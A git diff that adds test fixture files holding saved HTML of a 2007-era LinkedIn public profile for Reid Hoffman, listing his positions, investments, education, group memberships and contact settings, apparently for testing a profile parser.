+                               <a href="http://www.linkedin.com/groupInvitation?groupID=110&sharedKey=65E395798EA2" >          <img src="http://media.linkedin.com/media/p/1/000/000/004/359afe7.gif" width="60" height="30" alt="eWorldAlums member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">eWorldAlums member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=1839&sharedKey=11E21D6C47B6" >          <img src="http://media.linkedin.com/media/p/1/000/000/009/33d7f5e.gif" width="60" height="30" alt="PayPal Alumni on LinkedIn (PALs) member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">PayPal Alumni on LinkedIn (PALs) member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=2238&sharedKey=4E51047A3269" >          <img src="http://media.linkedin.com/media/p/1/000/000/00d/155174d.gif" width="60" height="30" alt="Weekend to be Named Later member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Weekend to be Named Later member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_doctors" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/004/0d96b2c.gif" width="60" height="30" alt="Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_kiva" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/007/1f15b54.gif" width="60" height="30" alt="KIVA member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">KIVA member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=21059&sharedKey=0D585712F10C" >          <img src="http://media.linkedin.com/media/p/1/000/000/00f/0291a62.png" width="60" height="30" alt="Alpha member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Alpha member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=43473&sharedKey=6C93EB014971" >          <img src="http://media.linkedin.com/media/p/2/000/002/063/0bc82d3.gif" width="60" height="30" alt="The Association of Marshall Scholars, Inc. member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">The Association of Marshall Scholars, Inc. member</span> </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Honors:</h3>
+              <p class="honors">
+                Marshall Scholarship, Dinkelspiel Award, Matthew Arnold Memorial Prize (Proxime Accessit)
+              </p>
+          </div>
+          <hr />
+      <div id="contact-settings">
+        <h2>Reid Hoffman&#8217;s Contact Settings</h2>
+        <h3>Interested In:</h3>
+        <ul>
+            <li>
+              new ventures
+            </li>
+            <li>
+              job inquiries
+            </li>
+            <li>
+              expertise requests
+            </li>
+            <li>
+              business deals
+            </li>
+            <li>
+              reference requests
+            </li>
+            <li>
+              getting back in touch
+            </li>
+        </ul>
+      </div>
+      <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=1213&authToken=ChBr&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View Reid&#8217;s full profile:</h3>
+        </div>
+        <div class="content">
+          <ul>
+            <li>See who you and <strong>Reid Hoffman</strong> know in common</li>
+            <li>Get introduced to <strong>Reid Hoffman</strong></li>
+            <li>Contact <strong>Reid Hoffman</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/Reid/Hoffman?trk=ppro_find_others" >Reid Hoffman</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/reidhoffman_empty b/tests/nose/data/linkedin/reidhoffman_empty
new file mode 100644 (file)
index 0000000..f42f426
--- /dev/null
@@ -0,0 +1,671 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Reid Hoffman</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Reid Hoffman's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Reid Hoffman discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact portrait">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">Reid</span> <span class="family-name">Hoffman</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <div class="image"><img class="photo" src="http://media.linkedin.com/mpr/mpr/shrink_80_80/p/1/000/000/038/24da1dc.jpg" alt="Reid Hoffman"/></div>
+              <p class="headline title">Entrepreneur.  General Manager.  Product Strategist.</p>
+            <div class="adr">
+              <p class="locality">
+                San Francisco Bay Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1213&authToken=ChBr&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+                  <li class="website">
+ <a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                        My Company
+                        </a>                   </li>
+                  <li class="website">
+<a href="http://www.kiva.org/lender/reid" class="url" target="_blank">Combat global poverty</a>                  </li>
+                  <li class="website">
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" target="_blank">We're hiring!</a>                  </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+              <dt>Education</dt>
+              <dd>
+                <ul>
+                      <li>
+                        
+           Oxford University
+      
+                      </li>
+                      <li>
+                        
+           Stanford University
+      
+                      </li>
+                      <li>
+                        
+           The Putney School
+      
+                      </li>
+                </ul>
+                  <div class="showhide-block" id="moreedu">
+                    <ul>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="moreedu-hide">see less...</a></p>
+                  </div>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_3_35x24.gif" width="35" height="24" alt="Reid has 49 recommendations" title="Reid has 49 recommendations" />                <strong class="recommendation-count r3">49</strong> people have recommended Reid </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
+                <img src="/img/icon/conx/icon_conx_16_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                500+
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Internet
+            </dd>
+              <dt>Websites</dt>
+              <dd>
+                <ul>
+                    <li>
+<a href="http://www.linkedin.com" class="url" rel="me" target="_blank">
+                          My Company
+                          </a>                     </li>
+                    <li>
+<a href="http://www.kiva.org/lender/reid" class="url" rel="me" target="_blank">Combat global poverty</a>                    </li>
+                    <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" class="url" rel="me" target="_blank">We're hiring!</a>                    </li>
+                </ul>
+              </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="summary">
+            <h2>Reid Hoffman&#8217;s Summary</h2>
+              <p class="summary">
+                All aspects of consumer internet and software.  Focus is on finance, business strategy, and development, but includes product management, operations, business operations, business development, and marketing.  Focus is on seed-stage technology companies, but have also helped profitable companies grow.
+              </p>
+              <h3>Reid Hoffman&#8217;s Specialties:</h3>
+              <p class="skills">
+                General management, product development, business models, strategy, negotiation, financing, deal structure,  international, marketing, brand development, brand management, business development, public relations, press strategy, payments infrastructure, financial services, mergers and acquisitions, start-ups, software development, operations centers.
+              </p>
+          </div>
+          <hr />
+          <div id="experience">
+            <h2>Reid Hoffman&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Chairman and President, Products</h3>
+      <h4 class="org summary">LinkedIn</h4>
+    
+  <p class="organization-details">(Privately Held; 201-500 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2007-02-01">February 2007</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y1M">(1 year 1 month)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">LinkedIn powers your professional life by enabling you to: \r<br>
+\r<br>
+-Control your professional profile online (on LinkedIn and in search engines like Google)\r<br>
+\r<br>
+-Tap into your trusted network for opportunities, referrals, and answers to critical business questions\r<br>
+\r<br>
+-Search for the right professionals (experts, hires, references, consultants, service providers)\r<br>
+\r<br>
+LinkedIn’s primary customer will always be each individual professional.   LinkedIn also provides services for companies, professional associations, alumni associations, non-profits, and conferences.  \r<br>
+\r<br>
+My role is product and business strategy, evangelizing the utility to every professional.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Provost Council</h3>
+      <h4 class="org summary">College Eight, UCSC</h4>
+    
+  <p class="organization-details">(Educational Institution; 1001-5000 employees; Higher Education industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-07-01">July 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y8M">(1 year 8 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">College Eight is a residential educational college part of UCSC.  The focus is environmental citizenship, ranging from topics of enviromental civics and justice to environmental enterpreneurship.  The new educational goal is to achieve academic excellence through current research and teaching, and also through connections with business and government.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Kiva.org</h4>
+    
+  <p class="organization-details">(Non-Profit; 1-10 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2006-06-01">June 2006</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y9M">(1 year 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Kiva provides an entrepreneur's marketplace for social micro-lending.  The entrepreneurs are pre-vetted by micro-finance organizations.  They are then listed on Kiva's web marketplace, and interested and motivated lenders can lend money for the creation of businesses.  It is the paradigm case of teaching to fish rather than giving fish.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Tagged</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-12-01">December 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y3M">(2 years 3 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">The teen social network for teens.  It's a place on the web only for teens - hip, interesting, and cool.  Within a short time, it has millions of teens; and the most interesting parts are still to arrive.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-08-01">August 2005</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P2Y7M">(2 years 7 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Evangelists and champions of the free and open web-platform, Firefox.  Firefox allows consumers the experience they want, all software and internet companies to build extensions, and open-source developers to contribute freely and democratically.  Firefox works to keep a free, open web -- both through its own platform and by inspiring other browsers to create open apis and platforms with great consumer experiences.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Vendio</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Vendio provides best of breed, easy-to-use services for small businesses on eBay and on the Internet.  Vendio also provides a great price-checking and comparing toolbar so that you never overpay on the internet again: www.dealio.com.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Grassroots</h4>
+    
+  <p class="organization-details">(Privately Held; 11-50 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-06-01">June 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y9M">(4 years 9 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Best IT infrastructure and enablement for grassroots campaigns for corporations.  Grassroots campaigns are extremely important for the modern corporation, as regulation, political competition, and risk mitigation are essential.  The best way to solve these problems: utilize your corporation's constintuency as a political force.  And corporations do have constituencies -- employees, shareholders, customers, partners, vendors, and others.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Directors</h3>
+      <h4 class="org summary">Six Apart</h4>
+    
+  <p class="organization-details">(Privately Held; 51-200 employees; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-04-01">April 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P4Y11M">(4 years 11 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">SixApart produces the best publishing platforms on the web for self-expression through words, pictures, and other media.  For self-hosting and business, it produces the leading blogging software MoveableType.  For hosted web publishing with great looks and effective tools, SixApart has the best blogging service TypePad.  And for younger web communities, it has LiveJournal.  Recently, SixApart has launched Vox which allows great sharing within your own private community -- your family, your friends, and your neighborhood as you want it.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Member, Board of Advisors</h3>
+      <h4 class="org summary">Lulan LLC</h4>
+    
+  <p class="organization-details">(Privately Held; 1-10 employees; Textiles industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2003-01-01">January 2003</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P5Y2M">(5 years 2 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Lulan imports top-quality textiles from socially great women's collectives in Asia to the U.S. market, transformed into the best products.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Angel Investor</h3>
+      <h4 class="org summary">Aufklarung LLC</h4>
+    
+  <p class="organization-details">(Privately Held; Myself Only; Internet industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-09-01">September 2001</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P6Y6M">(6 years 6 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Helped finance over 60 companies, 25+ from initial conception.  Angel investor in www.facebook.com, www.digg.com, www.bioscale.com, www.nanosolar.com, www.lulan.com, www.taxipass.com, www.naseeb.com, www.technorati.com, www.grassroots.com, www.friendster.com, www.socialtext.com, www.realtravel.com, www.rhythmnetworks.com, www.ravenflow.com, www.targetedgrowth.com, www.wink.com, www.wikia.com, www.adventsolar.com, www.bioscale.com, www.ning.com, www.tagged.com, www.tinypictures.us, www.etology.com, www.winster.com, www.rupture.com, www.jaxtr.com, www.kongregate.com, www.powerset.com, www.care.com, www.funnyordie.com, www.ironport.com, www.flixster.com, www.care.com,  www.flickr.com, www.last.fm, www.grockit.com and www.sixapart.com.</p>
+  
+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="education">
+            <h2>Reid Hoffman&#8217;s Education</h2>
+            <ul class="vcalendar">
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Oxford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">M.St.</span>, <span class="major">Philosophy</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1990-01-01">September 1990</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1993-12-31">June 1993</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Wolfson College, Matthew Arnold Prize</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           Stanford University
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">B.S.</span>, <span class="major">Symbolic Systems</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="September 1985-01-01">September 1985</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="June 1990-12-31">June 1990</abbr></span> 
+        
+    </p>
+    
+    
+               <dl class="activities-societies">
+                       <dt>Activities and Societies:</dt>
+                       <dd>Marshall Scholar, Dinkelspiel Award, Golden Grant, Honors, Founder of the Symbolic Systems Forum</dd>
+               </dl>
+    
+               </div>
+  </li>
+
+
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+           The Putney School
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">GED</span>, <span class="major">Highschool</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="1982-01-01">1982</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="1985-12-31">1985</abbr></span> 
+        
+    </p>
+    
+    
+               </div>
+  </li>
+
+
+            </ul>
+          </div>
+          <hr />
+          <div id="additional-information">
+            <h2>Additional Information</h2>
+              <h3>Reid Hoffman&#8217;s Websites:</h3>
+              <ul class="websites">
+                  <li>
+<a href="http://www.linkedin.com" rel="me" target="_blank">
+                        My Company
+                        </a>                  </li>
+                  <li>
+<a href="http://www.kiva.org/lender/reid" rel="me" target="_blank">Combat global poverty</a>                  </li>
+                  <li>
+<a href="http://www.linkedin.com/e/jsc/LinkedIn" rel="me" target="_blank">We're hiring!</a>                  </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Interests:</h3>
+              <p class="interests">Civil society, education, public intellectuals, values, ethics, travel, environment, technology</p>
+              <h3>Reid Hoffman&#8217;s Groups:</h3>
+              <ul>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=17&sharedKey=1F561C153148" >          <img src="/img/groups/default/default_small.gif" width="60" height="30" alt="Oxford Alumni New York member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Oxford Alumni New York member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=110&sharedKey=65E395798EA2" >          <img src="http://media.linkedin.com/media/p/1/000/000/004/359afe7.gif" width="60" height="30" alt="eWorldAlums member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">eWorldAlums member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=1839&sharedKey=11E21D6C47B6" >          <img src="http://media.linkedin.com/media/p/1/000/000/009/33d7f5e.gif" width="60" height="30" alt="PayPal Alumni on LinkedIn (PALs) member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">PayPal Alumni on LinkedIn (PALs) member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=2238&sharedKey=4E51047A3269" >          <img src="http://media.linkedin.com/media/p/1/000/000/00d/155174d.gif" width="60" height="30" alt="Weekend to be Named Later member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Weekend to be Named Later member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_doctors" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/004/0d96b2c.gif" width="60" height="30" alt="Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">Doctors Without Borders / M&#xe9;decins Sans Fronti&#xe8;res member</span> </li>
+                  <li class="affiliation vcard">               
+                        <a href="/redirect?url=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fstatic%3Fkey%3Dgroups_giving_kiva" target="_blank" title="New window will open">          <img src="http://media.linkedin.com/media/p/1/000/000/007/1f15b54.gif" width="60" height="30" alt="KIVA member" class="logo">
+</a>&nbsp;&nbsp;                        
+                    <span class="fn org">KIVA member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=21059&sharedKey=0D585712F10C" >          <img src="http://media.linkedin.com/media/p/1/000/000/00f/0291a62.png" width="60" height="30" alt="Alpha member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Alpha member</span> </li>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=43473&sharedKey=6C93EB014971" >          <img src="http://media.linkedin.com/media/p/2/000/002/063/0bc82d3.gif" width="60" height="30" alt="The Association of Marshall Scholars, Inc. member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">The Association of Marshall Scholars, Inc. member</span> </li>
+              </ul>
+              <h3>Reid Hoffman&#8217;s Honors:</h3>
+              <p class="honors">
+                Marshall Scholarship, Dinkelspiel Award, Matthew Arnold Memorial Prize (Proxime Accessit)
+              </p>
+          </div>
+          <hr />
+      <div id="contact-settings">
+        <h2>Reid Hoffman&#8217;s Contact Settings</h2>
+        <h3>Interested In:</h3>
+        <ul>
+            <li>
+              new ventures
+            </li>
+            <li>
+              job inquiries
+            </li>
+            <li>
+              expertise requests
+            </li>
+            <li>
+              business deals
+            </li>
+            <li>
+              reference requests
+            </li>
+            <li>
+              getting back in touch
+            </li>
+        </ul>
+      </div>
+      <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=1213&authToken=ChBr&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=1213&authToken=ChBr&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View Reid&#8217;s full profile:</h3>
+        </div>
